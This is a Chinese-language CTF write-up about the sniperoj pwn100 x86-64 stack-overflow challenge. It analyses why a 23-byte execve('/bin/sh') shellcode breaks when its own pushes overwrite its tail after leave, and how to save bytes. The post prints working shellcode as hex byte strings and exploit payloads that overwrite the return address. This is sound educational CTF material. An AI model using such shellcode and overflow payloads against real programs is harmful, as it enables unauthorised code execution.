有趣的Shellcode和栈

学弟问了一个ctf-wiki上pwn入门题的知识点,本身没什么意思,但引发的一些小思考感觉还挺好玩的……当然也有可能我作为一个单纯的re狗,pwn题总是被队友秒光了所以没什么写shellcode或者ROP的机会,因此对shellcode的编写比较生疏叭~
题目下载链接 - sniperoj-pwn100-shellcode-x86-64

题目简介

有趣的Shellcode和栈_第1张图片
很明显栈溢出,buf位于栈顶,栈空间为0x10个字节(可以从buf的位置==rsp+0==rbp-10h看出),所以栈分布为

内容 偏移
buf rsp
last_rbp rsp+0x10
ret_addr rsp+0x18
other rsp+0x20
buf_end rsp+0x40

题目保护只有PIE,但是栈地址被刻意给出来了所以无所谓,因此这题本身很简单只需要把execve(’/bin/sh’)的shellcode放到buf里即可。

ret_addr是需要确定的,因此能放shellcode的地方分别有上下两部分,buf-last_rbp一共0x18即24个字节,other-buf_end一共0x20即32个字节。

学弟的问题就是网上很多WP说因为buf只有24个字节所以不能用shellcraft.sh()生成的44个字节的shellcode,然后最后给出的exp清一色全是长度为23的shellcode再加上

payload = 'a'*24 + p64(shellcode_addr) + shellcode

就让人很不能理解,明明这种方法是采用的后者32个字节的空间,跟24有啥关系尼?
这些payload是可以正常打通的,实际上任何小于32bytes的payload使用后边空间都是没问题的。

分析问题

至于为什么shellcode是23字节却不能使用前者,实际上是因为leave以及空间过于紧促。
首先我们看一下shellcode的组成:
有趣的Shellcode和栈_第2张图片
注意到最大的栈需求是连续三次push,也就是说会把rsp抬高3*8=24字节。
而leave的时候实际上相当于

mov rsp, rbp
pop rbp

而上一个栈帧中rbp是指向last_rbp的,当赋值给rsp后,又进行了一次pop使得rsp-=8指向了ret_addr
另一方面我们的shellcode是23bytes,即0x17bytes,恰好占用了buflast_rbp的空间。
因此当shellcode执行的时候第一次push会覆盖ret_addr,第二次push就会覆盖last_rbp,而last_rbp现在是shellcode的末端,导致syscall指令无法执行。

绕过分析

那么如果想要修复它,就有两条思路:

  1. 降低栈的使用
  2. 降低rsp指针

刚开始我的思路是按1走,毕竟最终syscall只需要用到2个栈空间,虽然现在只有一个但是对于空闲的1bytes可以做一次pop来获取一个额外的栈空间。
但是看了一下shellcode就会发现这个顺序已经没有办法改变了:
execve的执行条件有如下几个:

  • rax==0x3b
  • rdx==rsi==0
  • rdi==rsp *这里的rsp必须是最终的栈顶
  • 栈上分别存放'/bin//sh'和0

因为栈上的两个参数是不可省略的,而rdi又必须指向放好参数后的栈顶,在rsp是通过栈传给rdi的情况下必然要用到3个栈空间。
(rsp->rdi的过程是push rsp, pop rdi,仅需要2bytes,而正常赋值需要3bytes以上。)

于是现在有如下条件:

  • 栈空间只有1个,空闲字节也只有1byte
  • 传参需要2个栈空间
  • rsp->rdi需要1个栈空间
  • pop可以+1栈空间,但消耗1个字节
  • rsp->rdi也可以用1个字节换1个栈空间

看起来似乎就差那1byte,怎么办呢?

搜索

不就差1byte嘛,这个shellcode不行,我们来康康还有没有更好的shellcode哇!
搜索了一下发现果然有22bytes的shellcode:
有趣的Shellcode和栈_第3张图片

payload = "\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"

这样就又省出了1byte,把push rsp + pop rdi换成mov rdi, rsp或者索性在开头多pop rsi一次都可以。
最终exp:

shellcode2 = "\x5e\x5e\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"
payload = shellcode2+p64(shellcode_addr)

因地制宜

这个23bytes的shellcode真的没有办法了吗?
在搜索过程中发现有的shellcode使用了两字节的mov al, 59的指令,这样比起原来三字节的push 59, pop rax又能节省1bytes。
那本来为什么不用呢?因为这样的指令会使得原来的rax的高3字节保留下来。
可是我们这个程序有这样的顾虑吗?
注意到代码中:
有趣的Shellcode和栈_第4张图片
return 0意味着什么?
在这里插入图片描述

ret前会为我们将rax清零!
因此这里我们也可以节省出1字节,同样的方法转换成栈空间,从而成功get shell~

你可能感兴趣的:(汇编,pwn,CTF)